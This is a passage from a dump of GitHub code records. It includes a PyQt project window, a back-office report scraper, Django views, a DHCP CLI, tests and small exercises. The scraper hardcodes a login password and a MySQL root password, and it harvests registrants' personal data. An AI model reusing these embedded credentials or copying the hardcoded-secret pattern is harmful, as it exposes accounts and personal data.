True\n        try:\n            projet_json = json.dumps(self.projet, cls=ProjetEncoder.ProjetEncoder, indent=4)\n            options = QtWidgets.QFileDialog.Options()\n            if sys.platform == 'darwin':\n                options |= QtWidgets.QFileDialog.DontUseNativeDialog\n            self.__fichier_save = QtWidgets.QFileDialog.getSaveFileName(self, caption='Save As',\n                                                                        directory=QtCore.QDir.currentPath(),\n                                                                        filter='JSON (*.json*)',\n                                                                        options=options)[0]\n            if not str(self.__fichier_save).endswith(\".json\"):\n                self.__fichier_save = str(self.__fichier_save) + \".json\"\n            fichier = open(self.__fichier_save, \"w\")\n            fichier.write(projet_json)\n            fichier.close()\n            self.quick_popup(\"Projet enregistré!\", type=\"Succes\", duree=3)\n            self.__is_saved = True\n            return True\n        except:\n            self.quick_popup(\"Erreur lors de la sauvegarde!\", type=\"Error\", duree=5)\n            return False\n\n    def demande_fermer_projet(self, index) -> bool:\n        if self.__is_saved:\n            return True\n        else:\n            self.popup_fermer_projet_non_sauvegarder = PopupProjetNonSauvegarde.PopupProjetNonSauvegarde(self, index)\n            self.popup_fermer_projet_non_sauvegarder.setVisible(True)\n\n    def quitte_popup_annuler(self) -> bool:\n        self.popup_fermer_projet_non_sauvegarder.setVisible(False)\n        return False\n\n    def quitte_popup_save(self, index) -> bool:\n        self.popup_fermer_projet_non_sauvegarder.setVisible(False)\n        self.save()\n        self.__app.bandeau.fermer_projet(index)\n\n    def quitte_popup_no_save(self, index) -> bool:\n        self.popup_fermer_projet_non_sauvegarder.setVisible(False)\n        self.__is_saved = True\n        self.__app.bandeau.fermer_projet(index)\n\n    def export_visualisation(self) -> None:\n        if None in self.widget_visualisation.getListeFigures():\n            self.quick_popup(\"Résolution non effectuée, export impossible...\", type=\"Error\", duree=3)\n        else:\n            liste_figures = self.widget_visualisation.getListeFigures()\n            fig, axs = plt.subplots(2, 3)\n            axs[0][0] = liste_figures[0]\n            axs[0][1] = liste_figures[1]\n            axs[0][2] = liste_figures[2]\n\n            axs[1][0] = liste_figures[3]\n            axs[1][1] = liste_figures[4]\n            axs[1][2] = liste_figures[5]\n            fig.tight_layout()\n            plt.subplots_adjust(top=0.9)\n            fig.suptitle(\"Figures PROJET : \" + self.projet.getNomProjet())\n\n            options = QtWidgets.QFileDialog.Options()\n            if sys.platform == 'darwin':\n                options |= QtWidgets.QFileDialog.DontUseNativeDialog\n            chemin_export = QtWidgets.QFileDialog.getSaveFileName(self, caption='Save As',\n                                                                        directory=QtCore.QDir.currentPath(),\n                                                                        filter='PDF (*.pdf*)',\n                                                                        options=options)[0]\n\n            if str(chemin_export).strip().startswith(\".\") or str(chemin_export).strip() == \"\":\n                self.quick_popup(\"Nom incorrect!\", type=\"Error\", duree=3)\n                return\n            if not str(chemin_export).endswith(\".pdf\"):\n                chemin_export = chemin_export + \".pdf\"\n            try:\n                plt.savefig(chemin_export, orientation='landscape')\n                self.quick_popup(\"Enregistrement effectué!\", type=\"Succes\", duree=3)\n            except:\n                self.quick_popup(\"Erreur lors de l'export des visualisation!\", type=\"Error\", duree=3)\n\n    def initActions(self) -> None:\n        \"\"\"\n        Méthode permettant de connecter les actions pour permettre la navigation et le fonctionnement de l'interface.\n        \"\"\"\n        self.navigation.bouton_materiaux.clicked.connect(self.aller_materiaux)\n        self.navigation.bouton_plaque.clicked.connect(self.aller_plaque)\n        self.navigation.bouton_chargement.clicked.connect(self.aller_chargement)\n        self.navigation.bouton_visualisation.clicked.connect(self.aller_visualisation)\n        self.navigation.bouton_export_visualisation.clicked.connect(self.export_visualisation)\n        self.bandeau.bouton_renommer.clicked.connect(self.change_nom_projet)\n        self.bandeau.bouton_save.clicked.connect(self.save)\n        self.bandeau.bouton_save_as.clicked.connect(self.save_as)\n        self.bandeau.bouton_resoudre.clicked.connect(self.widget_visualisation.generer_toutes_figures)\n\n    def quick_popup(self, *args, **kwargs) -> None:\n        \"\"\"\n        Méthode permettant de demander la génération d'un popup dans l'application.\n        Cette méthode va appeler la méthode de son parent, s'il existe, sinon l'appel va être perdu.\n\n        :param args: Arguments à passer à la méthode parente\n        :param kwargs: Arguments nominatifs à passer à la méthode parente\n        \"\"\"\n        if not self.__parent is None:\n            self.__parent.quick_popup(*args, **kwargs)\n\n    def setNomProjet(self, nom: str) -> None:\n        \"\"\"\n        Méthode permettant de mettre à jour le nom du projet courant et de demander à l'instance parente de changer le nom de l'onglet.\n        :param nom: Le nouveau nom du projet.\n        \"\"\"\n        self.projet.setNomProjet(nom)\n        self.__parent.maj_nom_onglet()\n\n    def modification_effectuee(self) -> None:\n        \"\"\"\n        Méthode utilisée par les instances filles pour informer que le projet a été modifée, afin de permettre de demander la sauvegarde uniquement si nécessaire.\n        \"\"\"\n        self.__is_saved = False\n\n\ndef main():\n    import sys\n    app = QtWidgets.QApplication(sys.argv)\n    tmp = FenetreProjet()\n    tmp.setStyleSheet(\"background-color: rgb(224, 224, 224)\")\n    tmp.show()\n    sys.exit(app.exec_())\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"anfrigout/SupermanTeriaux","sub_path":"pappl/script/FenetreProjet.py","file_name":"FenetreProjet.py","file_ext":"py","file_size_in_byte":14488,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39185891745","text":"import requests\nimport pandas as pd\nfrom sqlalchemy import create_engine\nfrom lxml import etree\nfrom Util import logUtil\nimport time\n\nimport warnings\n\nwarnings.filterwarnings('ignore')\n\nlogger = logUtil.log\n# 获取OA_session,如果异常，重新请求\ndef get_session(platform):\n    try:\n        headers = {'X-Requested-With': 'XMLHttpRequest',\n                   'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0'\n                   }\n        data = {'UserName': 'Drumeng',\n                'Password': 'sdfj23723sk(0',\n                'RememberMe': 'false'\n                }\n        url = r'http://{}.acetopbms.com/System/Login'.format(platform)\n        OA_session = requests.session()\n        OA_session.post(url=url, data=data, headers=headers)\n        return OA_session\n    except:\n        logger.info(platform+'登录失败，重试')\n        time.sleep(1)\n        get_session(platform)\n\n\n# 取数据\ndef get_data(OA_session, t1, t2, platform, RorE):\n    try:\n        da = {\n            \"TradeID\": \"\",\n            \"MbUserName\": \"\",\n            \"UserName\": \"\",\n            \"IPAddress\": \"\",\n            \"IPAreaProvince\": \"\",\n            \"IPAreaCity\": \"\",\n            \"AccountPlatform\": \"\",\n            \"ComFrom\": \"\",\n            \"AdSource\": \"\",\n            \"AdMedium\": \"\",\n            \"AdPlan\": \"\",\n            \"AdUnit\": \"\",\n            \"AdKeyWord\": \"\",\n            \"RegStartDateTime\": \"\",\n            \"RegEndDateTime\": \"\",\n            \"StartAccountDateTime\": \"\",\n            \"EndAccountDateTime\": \"\",\n            \"TradeStartDateTime\": \"\",\n            \"TradeEndDateTime\": \"\",\n            \"Tag\": \"\",\n            \"AccountTypeSelectReport\": \"\",\n            \"pageNum\": \"1\",\n            \"orderField\": \"\",\n            \"orderDirection\": \"asc\",\n            \"numPerPage\": \"3000\"}\n        if RorE == 0:\n            da[\"RegStartDateTime\"] = t1\n            da[\"RegEndDateTime\"] = t2\n        else:\n            da[\"StartAccountDateTime\"] = t1\n            da[\"EndAccountDateTime\"] = t2\n        url = r'http://{}.acetopbms.com/ReportCenter/RegisterSourceReport'.format(platform)\n        response = OA_session.post(url=url, data=da)\n        logger.info(response)\n        da = pd.read_html(response.text)[0]\n        #保存完整GAID\n        tree = etree.HTML(response.text)\n        li = tree.xpath(r'//tr[@target=\"TradeId\"]/td/text()')\n        li_1 = [[]]\n        i = 0\n        while len(li) > 0:\n            if li[0] == '是' or li[0] == '否':\n                i += 1\n                li_1.append([])\n            li_1[i].append(li[0])\n            li.pop(0)\n        li_2 = []\n        for j in li_1:\n            li_2.append(j[2])\n        li_2.pop(0)\n        da['GAID'] = pd.DataFrame(li_2)\n        # 填充空白字段为空字符串\n        da.fillna({'IP区域(省)': '', '广告来源': '',\n                   '会员帐号': '', '会员姓名': '', '会员昵称': ''}, inplace=True)\n        return da\n    except:\n        logger.info(platform+'请求失败，重试')\n        time.sleep(1)\n        return get_data(OA_session, t1, t2, platform, RorE)\n\n# 删除测试数据并去重\ndef del_test(da, terraceId):\n    # 排除test\n    t0 = da.shape[0]\n    li = ['广告来源', '会员帐号', '会员姓名', '会员昵称']\n    for i in li:\n        da = da[~da[i].str.contains('測試|测试|(T|t)(E|e)(S|s|X|x)(T|t|D|d)')].copy()\n    t1 = da.shape[0]\n    logger.info('排除了{}条“test”的数据'.format(t0 - t1))\n    # 排除台湾\n    t0 = da.shape[0]\n    ex0 = ['台湾', '香港']\n    da = da[~((da['IP区域(省)'].isin(ex0)) & (da['会员姓名'] == ''))]\n    t1 = da.shape[0]\n    logger.info('排除了{}条“台湾，香港”的数据'.format(t0 - t1))\n    return da\n\n\n# 整理字段顺序及名称并入库\ndef data_clean(da, RorE, terraceId):\n    da = del_test(da, terraceId)\n    engine = create_engine('mysql+pymysql://root:12345678@192.168.119.129:3306/platform?charset=GBK')\n    if RorE == 1 and terraceId == 4:\n        dat = da[~da['会员帐号'].duplicated(keep=False)].copy()\n        dat = dat[['交易帐号', '会员姓名', '注册时间', '开户时间', '有无模拟账号', '开户来源', '广告来源', '媒介', '性别', '年龄',\n                 'IP区域(省)', 'IP区域(市)', '广告计划', '广告单元', '关键字', 'GAID', '会员帐号', '附件状态']]\n        dat['extensionSource'] = dat['广告来源'] + r' / ' + dat['媒介']\n        dat.columns = ['account', 'userName', 'registerDate', 'entryDate', 'ifSim', 'openSource', 'source', 'medium',\n                      'sex', 'age', 'province', 'city', 'plan', 'unit', 'keyword', 'gaId', 'userAccount',\n                      'attachmentStatus', 'extensionSource']\n        dat['terraceid'] = terraceId\n        dat.to_sql('mass_register_bibfx_tran', engine, index=False, if_exists='append')\n    if terraceId == 2:\n        da = da[(da['交易平台'] == 'MT4') & (~da['开户来源'].str.contains('Global' or 'global'))]\n    elif terraceId == 4:\n        da = da[(da['交易平台'] == 'MT5') & (da['开户来源'].str.contains('Global' or 'global'))]\n    # 去重\n    da.sort_values(['注册时间', '附件状态'], ascending=[0,1], inplace=True)\n    da.drop_duplicates(subset=['会员帐号', '会员姓名'], inplace=True)\n    if RorE == 0:\n        da = da[['注册时间', '开户来源', '广告来源', '媒介', '广告计划', '广告单元', '关键字', 'GAID', '会员帐号', '附件状态']]\n        da['mass'] = da['广告来源'] + r' / ' + da['媒介']\n        da.columns = ['registerDate', 'openSource', 'source', 'medium', 'plan', 'unit', 'keyword', 'gaId',\n                      'userAccount', 'attachmentStatus', 'mass']\n        da['terraceid'] = terraceId\n        da.to_sql('mass_register', engine, index=False, if_exists='append')\n    else:\n        da = da[['交易帐号', '会员姓名', '注册时间', '开户时间', '有无模拟账号', '开户来源', '广告来源', '媒介', '性别', '年龄',\n                 'IP区域(省)', 'IP区域(市)', '广告计划', '广告单元', '关键字', 'GAID', '会员帐号', '附件状态']]\n        da['extensionSource'] = da['广告来源'] + r' / ' + da['媒介']\n        da.columns = ['account', 'userName', 'registerDate', 'entryDate', 'ifSim', 'openSource', 'source', 'medium',\n                      'sex', 'age', 'province', 'city', 'plan', 'unit', 'keyword', 'gaId', 'userAccount', 'attachmentStatus',\n                      'extensionSource']\n        da['terraceid'] = terraceId\n        da.to_sql('mass_entry', engine, index=False, if_exists='append')\n","repo_name":"LouiesZhang/DailyJob","sub_path":"DailyCheckDec/DGetOaData.py","file_name":"DGetOaData.py","file_ext":"py","file_size_in_byte":6567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5700405900","text":"import math\nimport os\nimport random\nimport re\nimport sys\nimport bisect\n# Complete the triplets function below.\ndef triplets(a, b, c):\n    a, b, c = list(set(a)), list(set(b)), list(set(c))\n    answer = 0\n    a, c = sorted(a), sorted(c)\n    for num in b:\n        aval = bisect.bisect_right(a, num)\n        cval = bisect.bisect_right(c, num)\n        print(num, aval, cval)\n        answer += (aval*cval)\n    return answer\nif __name__ == '__main__':\n    fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n    lenaLenbLenc = input().split()\n\n    lena = int(lenaLenbLenc[0])\n\n    lenb = int(lenaLenbLenc[1])\n\n    lenc = int(lenaLenbLenc[2])\n\n    arra = list(map(int, input().rstrip().split()))\n\n    arrb = list(map(int, input().rstrip().split()))\n\n    arrc = list(map(int, input().rstrip().split()))\n\n    ans = triplets(arra, arrb, arrc)\n\n    fptr.write(str(ans) + '\\n')\n\n    fptr.close()\n","repo_name":"jayaprakash-a/coding-prepation","sub_path":"placement-test/mtechprac1/Triple-sum.py","file_name":"Triple-sum.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2842977802","text":"# -*- coding: utf-8 -*-\n\nfrom unittest import TestCase\n\nfrom sublime_translit import translit\n\n\nclass GeneralTranslitTest(TestCase):\n\n    def test_single_char_dict_translit(self):\n        translit_table = dict(a='z', s='x', d='c', f='v')\n\n        self.assertEqual(\n            translit('sdaf', dictionary=translit_table),\n            'xczv',\n        )\n\n    def test_single_cyrillic_char_dict_translit(self):\n        translit_table = {u'а': 'a', u'с': 's', u'д': 'd', u'ф': 'f'}\n\n        self.assertEqual(\n            translit(u'фасад', dictionary=translit_table),\n            'fasad',\n        )\n\n    def test_multi_char_dict_untranslit(self):\n        translit_table = {\n            'Shh': u'Щ',\n            'u': u'у',\n            'k': u'к',\n            'l': u'л',\n            'a': u'а',\n        }\n\n        self.assertEqual(\n            translit('Shhuka', dictionary=translit_table),\n            u'Щука',\n        )\n\n    def test_multi_char_all_upper_untranslit(self):\n        translit_table = {\n            'Shh': u'Щ',\n            'u': u'у',\n            'k': u'к',\n            'l': u'л',\n            'a': u'а',\n        }\n\n        self.assertEqual(\n            translit('SHHuka', dictionary=translit_table),\n            u'Щука',\n        )\n","repo_name":"vityakut/SublTranslit","sub_path":"test/test_translit_code.py","file_name":"test_translit_code.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"42382679861","text":"from django.core.paginator import Paginator\nfrom django.contrib.auth.decorators import login_required\nfrom django.urls import reverse\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.http import HttpResponse\n\nfrom .models import Post, Group, User\nfrom .forms import PostForm\n\n\ndef index(request):\n    posts = Post.objects.all()\n    paginator = Paginator(posts, 10)\n    page_number = request.GET.get('page')\n    page = paginator.get_page(page_number)\n    return render(request, 'index.html',\n                  {'page': page, 'paginator': paginator, 'post_list': posts}\n                  )\n\n\ndef group_posts(request, slug):\n    group = get_object_or_404(Group, slug=slug)\n    posts = group.posts.all()\n    paginator = Paginator(posts, 12)\n    page_number = request.GET.get('page')\n    page = paginator.get_page(page_number)\n    return render(request, \"group.html\",\n                  {\"group\": group, 'posts': posts,\n                   'page': page, 'paginator': paginator}\n                  )\n\n\n@login_required\ndef new_post(request):\n    form = PostForm(request.POST or None)\n    if form.is_valid():\n        post = form.save(commit=False)\n        post.author = request.user\n        post.save()\n        return redirect('index')\n    form = PostForm()\n    return render(request, 'new_post.html', {'form': form})\n\n\ndef profile(request, username):\n    author = get_object_or_404(User, username=username)\n    posts = author.posts.all()\n    count = posts.count()\n    paginator = Paginator(posts, 10)\n    page_number = request.GET.get('page')\n    page = paginator.get_page(page_number)\n\n    return render(request, 'profile.html',\n                  {'author': author, 'page': page,\n                   'paginator': paginator, 'count': count, 'posts': posts}\n                  )\n\n\ndef post_view(request, username, post_id):\n    author = get_object_or_404(User, username=username)\n    post = get_object_or_404(Post, id=post_id, author__username=username)\n    return render(request, 'post.html', {'author': author, 'post': post})\n\n\n@login_required\ndef post_edit(request, username, post_id):\n    post = get_object_or_404(Post, id=post_id, author__username=username)\n    login_user = request.user\n    if login_user != post.author:\n        return redirect(reverse('post',\n                                kwargs={\n                                    'username': post.author.username,\n                                    'post_id': post_id,\n                                }\n                                )\n                        )\n    form = PostForm(request.POST or None, instance=post)\n    if form.is_valid():\n        post.save()\n        return redirect(reverse('post',\n                                kwargs={\n                                    'username': post.author.username,\n                                    'post_id': post_id,\n                                }\n                                ))\n    return render(request, 'edit_post.html', {'form': form, 'post': post})\n","repo_name":"rrhombuss/hw04_tests","sub_path":"posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16463332810","text":"import taichi as ti\nimport numpy as np\nfrom math import sin, tau, pi\n\nti.init(arch=ti.gpu)\n\nsw = 1024\nsh = 512\npixels = ti.Vector.field(n=3, dtype=float, shape=(sw, sh))\n\n\nceils = ti.Vector.field(n=3, dtype=float, shape=(sw, sh))\nceils.fill(0)\n\n\nfor y in range(256):\n\tfor x in range(y):\n\t\tceils[x-y//2 + 400,(256 - y) + 256 - 128].z = 1\n\n#for x in range(128):\n#\tfor y in range(128):\n#\t\t#if ((x/128*2-1)**2 + (y/128*2-1)**2) ** 0.5 < 1:\n#\t\tif -sin(y/128 * pi) * 0.5 < (x / 128 * 2 - 1) < sin(y/128 * pi) * 0.5:\n#\t\t\tceils[x+400, y + 256 - 64].z = 1\n\n\n#for x in range(128):\n#\th = sin(pi * x / 128 * 17 * 5)\n#\tfor y in range(128):\n#\t\tif ((x/128*2-1)**2 + (y/128*2-1)**2) ** 0.5 < 0.5:\n#\t\t\tceils[x + 100,y+256-64].x = (h - 0.5 + sin(y/128*pi) ** 2) * sin(y/128*pi)\n\n\n@ti.kernel\ndef update():\n\tfor x in range(sw):\n\t\tfor y in range(sh):\n\t\t\tforce = 0.0\n\n\t\t\tif x == 0:\n\t\t\t\tforce += ceils[x+1,y].x\n\t\t\telif x == sw - 1:\n\t\t\t\tforce += ceils[x-1,y].x\n\t\t\telse:\n\t\t\t\tforce += ceils[x+1,y].x\n\t\t\t\tforce += ceils[x-1,y].x\n\n\t\t\tif y == 0:\n\t\t\t\tforce += ceils[x,y+1].x\n\t\t\telif y == sh - 1:\n\t\t\t\tforce += ceils[x,y-1].x\n\t\t\telse:\n\t\t\t\tforce += ceils[x,y+1].x\n\t\t\t\tforce += ceils[x,y-1].x\n\n\t\t\tceils[x,y].y += (force * .25 - ceils[x,y].x) / (ceils[x,y].z + 1.)\n\n\tfor x in range(sw):\n\t\tfor y in range(sh):\n\t\t\th = ceils[x,y].x\n\t\t\tceils[x,y].x += ceils[x,y].y\n\n\t\t\tpixels[x,y] = [h,ceils[x,y].z * .5,-h]\n\t\t\t#pixels[x,y] = [h,h,h]\n\n\t\t\tif x < 30 or y < 30 or x > sw - 30 or y > sh - 30:\n\t\t\t\tceils[x,y].y *= 0.95\n\n\ngui = ti.GUI(\"light\", res=(sw, sh), fast_gui=True)\ngui.fps_limit = 10000\n\nwhile gui.running:\n\tif gui.frame % 2000 == 0:\n\t\tfor x in range(128):\n\t\t\th = sin(pi * x / 128 * 17 * (gui.frame // 2000))\n\t\t\tfor y in range(128):\n\t\t\t\tif ((x/128*2-1)**2 + (y/128*2-1)**2) ** 0.5 < 0.5:\n\t\t\t\t\tceils[x + 100,y+256-64].x = (h - 0.5 + sin(y/128*pi) ** 2) * sin(y/128*pi)\n\n\tupdate()\n\tgui.set_image(pixels)\n\tgui.show()\n","repo_name":"hhhhhhh2019/light_gpu","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43909141697","text":"\"\"\"\nroutesia/dhcp/server/commands.v4.base.py - Routesia DHCPv4 base server commands\n\"\"\"\nfrom routesia.cli.command import CLICommand\nfrom routesia.cli.parameters import Bool, IPAddress, String, UInt32\nfrom routesia.exceptions import CommandError\nfrom routesia.dhcp.server import dhcpserver_pb2\nfrom routesia.interface import interface_pb2\nfrom routesia.interface.commands import ConfiguredInterfaceParameter\n\n\nclass DHCPInterfaceParameter(String):\n    \"Completer using interfaces configured in this module\"\n\n    def __init__(self, **kwargs):\n        super().__init__(max_length=15, **kwargs)\n\n    async def get_completions(self, client, suggestion, **kwargs):\n        completions = []\n        data = await client.request(\"/dhcp/server/v4/config/get\", None)\n        config = dhcpserver_pb2.DHCPv4Server.FromString(data)\n        for interface in config.interface:\n            if interface.startswith(suggestion):\n                completions.append(interface)\n        return completions\n\n\nclass V4ConfigInterfaceList(CLICommand):\n    command = \"dhcp server v4 config interface list\"\n\n    async def call(self, **kwargs):\n        data = await self.client.request(\"/dhcp/server/v4/config/get\", None)\n        config = dhcpserver_pb2.DHCPv4Server.FromString(data)\n        return \"\\n\".join(config.interface)\n\n\nclass V4ConfigInterfaceAdd(CLICommand):\n    command = \"dhcp server v4 config interface add\"\n    parameters = ((\"interface\", ConfiguredInterfaceParameter(required=True)),)\n\n    async def call(self, interface, **kwargs):\n        config = dhcpserver_pb2.DHCPv4Server()\n        config.interface.append(interface)\n        await self.client.request(\"/dhcp/server/v4/config/interface/add\", config)\n\n\nclass V4ConfigInterfaceDelete(CLICommand):\n    command = \"dhcp server v4 config interface delete\"\n    parameters = ((\"interface\", DHCPInterfaceParameter(required=True)),)\n\n    async def call(self, interface, **kwargs):\n        config = dhcpserver_pb2.DHCPv4Server()\n        config.interface.append(interface)\n        await self.client.request(\"/dhcp/server/v4/config/interface/delete\", interface)\n\n\nclass V4ConfigGlobalSettingsUpdate(CLICommand):\n    command = \"dhcp server v4 config global-settings update\"\n    parameters = (\n        (\"renew-timer\", UInt32()),\n        (\"rebind-timer\", UInt32()),\n        (\"valid-lifetime\", UInt32()),\n        (\"next-server\", IPAddress()),\n    )\n\n    async def call(self, **kwargs):\n        data = await self.client.request(\"/dhcp/server/v4/config/get\", None)\n        settings = dhcpserver_pb2.DHCPv4Server.FromString(data)\n        self.update_message_from_args(settings, **kwargs)\n        await self.client.request(\n            \"/dhcp/server/v4/config/global_settings/update\", settings\n        )\n\n\nclass V4ConfigGlobalSettingsShow(CLICommand):\n    command = \"dhcp server v4 config global-settings show\"\n\n    async def call(self, **kwargs):\n        data = await self.client.request(\"/dhcp/server/v4/config/get\", None)\n        settings = dhcpserver_pb2.DHCPv4Server.FromString(data)\n        lines = [\n            f\"renew-timer: {settings.renew_timer}\",\n            f\"rebind-timer: {settings.rebind_timer}\",\n            f\"valid-lifetime: {settings.valid_lifetime}\",\n            f\"next-server: {settings.next_server}\",\n        ]\n        return \"\\n\".join(lines)\n\n\nclass V4ConfigOptionDefinitionList(CLICommand):\n    command = \"dhcp server v4 config option-definition list\"\n\n    async def call(self, **kwargs):\n        data = await self.client.request(\"/dhcp/server/v4/config/get\", None)\n        config = dhcpserver_pb2.DHCPv4Server.FromString(data)\n        return \"\\n\".join([str(d) for d in config.option_definition])\n\n\nclass V4ConfigOptionDefinitionAdd(CLICommand):\n    command = \"dhcp server v4 config option-definition add\"\n    parameters = (\n        (\"name\", String(required=True)),\n        (\"code\", UInt32(required=True)),\n        (\"type\", String(required=True)),\n        (\"space\", String()),\n        (\"array\", Bool()),\n        (\"record-types\", String()),\n        (\"encapsulate\", String()),\n    )\n\n    async def call(self, **kwargs):\n        option_definition = dhcpserver_pb2.OptionDefinition()\n        self.update_message_from_args(option_definition, **kwargs)\n        await self.client.request(\n            \"/dhcp/server/v4/config/option_definition/add\", option_definition\n        )\n\n\nclass OptionDefinitionParameter(String):\n    def __init__(self, **kwargs):\n        super().__init__(**kwargs)\n\n    async def get_completions(self, client, suggestion, **kwargs):\n        data = await client.request(\"/dhcp/server/v4/config/get\", None)\n        config = dhcpserver_pb2.DHCPv4Server.FromString(data)\n        completions = []\n        for option_definition in config.option_definition:\n            if option_definition.name.startswith(suggestion):\n                completions.append(option_definition.name)\n        return completions\n\n\nclass V4ConfigOptionDefinitionUpdate(CLICommand):\n    command = \"dhcp server v4 config option-definition update\"\n    parameters = (\n        (\"name\", OptionDefinitionParameter(required=True)),\n        (\"code\", UInt32()),\n        (\"type\", String()),\n        (\"space\", String()),\n        (\"array\", Bool()),\n        (\"record-types\", String()),\n        (\"encapsulate\", String()),\n    )\n\n    async def call(self, name, **kwargs):\n        data = await self.client.request(\"/dhcp/server/v4/config/get\", None)\n        config = dhcpserver_pb2.DHCPv4Server.FromString(data)\n        option_definition = None\n        for od in config.option_definition:\n            if od.name == name:\n                option_definition = od\n                break\n        if not option_definition:\n            raise CommandError(\"No such option-definition: %s\" % name)\n        self.update_message_from_args(option_definition, **kwargs)\n        await self.client.request(\n            \"/dhcp/server/v4/config/option_definition/update\", option_definition\n        )\n\n\nclass V4ConfigOptionDefinitionDelete(CLICommand):\n    command = \"dhcp server v4 config option-definition delete\"\n    parameters = ((\"name\", OptionDefinitionParameter(required=True)),)\n\n    async def call(self, name, **kwargs):\n        option_definition = dhcpserver_pb2.OptionDefinition()\n        option_definition.name = name\n        await self.client.request(\n            \"/dhcp/server/v4/config/option_definition/delete\", option_definition\n        )\n\n\nclass V4ConfigOptionList(CLICommand):\n    command = \"dhcp server v4 config option list\"\n\n    async def call(self, **kwargs):\n        data = await self.client.request(\"/dhcp/server/v4/config/get\", None)\n        config = dhcpserver_pb2.DHCPv4Server.FromString(data)\n\n        return \"\\n\".join([str(d) for d in config.option])\n\n\nclass V4ConfigOptionAdd(CLICommand):\n    command = \"dhcp server v4 config option add\"\n    parameters = (\n        (\"name\", String()),\n        (\"code\", UInt32()),\n        (\"data\", String(required=True)),\n    )\n\n    async def call(self, **kwargs):\n        if not (\"name\" in kwargs or \"code\" in kwargs):\n            raise CommandError(\"name or code must be specified\")\n\n        option = dhcpserver_pb2.OptionData()\n        self.update_message_from_args(option, **kwargs)\n        await self.client.request(\"/dhcp/server/v4/config/option/add\", option)\n\n\nclass OptionNameParameter(String):\n    async def get_completions(self, client, suggestion, **kwargs):\n        data = await client.request(\"/dhcp/server/v4/config/get\", None)\n        config = dhcpserver_pb2.DHCPv4Server.FromString(data)\n        completions = []\n        for option in config.option:\n            if option.name.startswith(suggestion):\n                completions.append(option.name)\n        return completions\n\n\nclass OptionCodeParameter(UInt32):\n    async def get_completions(self, client, suggestion, **kwargs):\n        data = await client.request(\"/dhcp/server/v4/config/get\", None)\n        config = dhcpserver_pb2.DHCPv4Server.FromString(data)\n        completions = []\n        for option in config.option:\n            if str(option.code).startswith(suggestion):\n                completions.append(str(option.code))\n        return completions\n\n\nclass V4ConfigOptionUpdate(CLICommand):\n    command = \"dhcp server v4 config option update\"\n    parameters = (\n        (\"name\", OptionNameParameter()),\n        (\"code\", OptionCodeParameter()),\n        (\"data\", String()),\n    )\n\n    async def call(self, **kwargs):\n        field = None\n        if \"name\" in kwargs:\n            field = \"name\"\n        elif \"code\" in kwargs:\n            field = \"code\"\n\n        if not field:\n            raise CommandError(\"name or code must be specified\")\n\n        data = await self.client.request(\"/dhcp/server/v4/config/get\", None)\n        config = dhcpserver_pb2.DHCPv4Server.FromString(data)\n\n        option = None\n        for od in config.option:\n            if getattr(od, field) == kwargs[field]:\n                option = od\n                break\n        if not option:\n            raise CommandError(\"No such option with %s of %s\" % (field, kwargs[field]))\n\n        update_option = dhcpserver_pb2.OptionData()\n        update_option.CopyFrom(option)\n        self.update_message_from_args(update_option, **kwargs)\n        await self.client.request(\"/dhcp/server/v4/config/option/update\", update_option)\n\n\nclass V4ConfigOptionDelete(CLICommand):\n    command = \"dhcp server v4 config option delete\"\n    parameters = (\n        (\"name\", OptionNameParameter()),\n        (\"code\", OptionCodeParameter()),\n    )\n\n    async def call(self, **kwargs):\n        field = None\n        if \"name\" in kwargs:\n            field = \"name\"\n        elif \"code\" in kwargs:\n            field = \"code\"\n\n        if not field:\n            raise CommandError(\"name or code must be specified\")\n\n        option = dhcpserver_pb2.OptionData()\n        setattr(option, field, kwargs[field])\n        await self.client.request(\"/dhcp/server/v4/config/option/delete\", option)\n","repo_name":"jimfunk/routesia","sub_path":"routesia/dhcp/server/commands/v4/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":9860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"44117339622","text":"#UPDATE - é o comando utilizado para realizar alterações em informações da tabela\n#É possivel modificar as informações de um registro que consta no banco de dados, utilizando parametros especificos para a busca\n\nimport sqlite3 #Importando o banco de dados\nfrom sqlite3 import Error #importando os erros do banco de dados, para realizarmos o tratamento necessário\n\n#Criar conexão do banco de dados\ndef ConexaoBanco():\n    caminho=\"C:\\\\Users\\\\Rafael Mileris\\\\OneDrive\\\\Python\\\\Banco de dados\\\\Bancos\\\\agenda.db\"\n    con=None\n    try:\n        con=sqlite3.connect(caminho)\n    except Error as ex:\n            print(ex)\n    return con\nvcon=ConexaoBanco()\n\nvalor_sql=\"UPDATE tb_contatos SET T_NOMECONTATO='Rafael', T_TELEFONECONTATO='(11)99452-1196', T_EMAILCONTATO='rafael@teste.com.br' WHERE N_IDCONTATO=2\"\n\ndef atualizar(conexao,sql):\n    try:\n        c=conexao.cursor()\n        c.execute(sql)\n        conexao.commit()\n    except Error as ex:\n        print(ex)\n    finally:\n        print(\"Registro atualizado!\")\n\natualizar(vcon,valor_sql)","repo_name":"Mileriss/Curso_Python","sub_path":"Aulas/40 - SQLite - UPDATE.py","file_name":"40 - SQLite - UPDATE.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
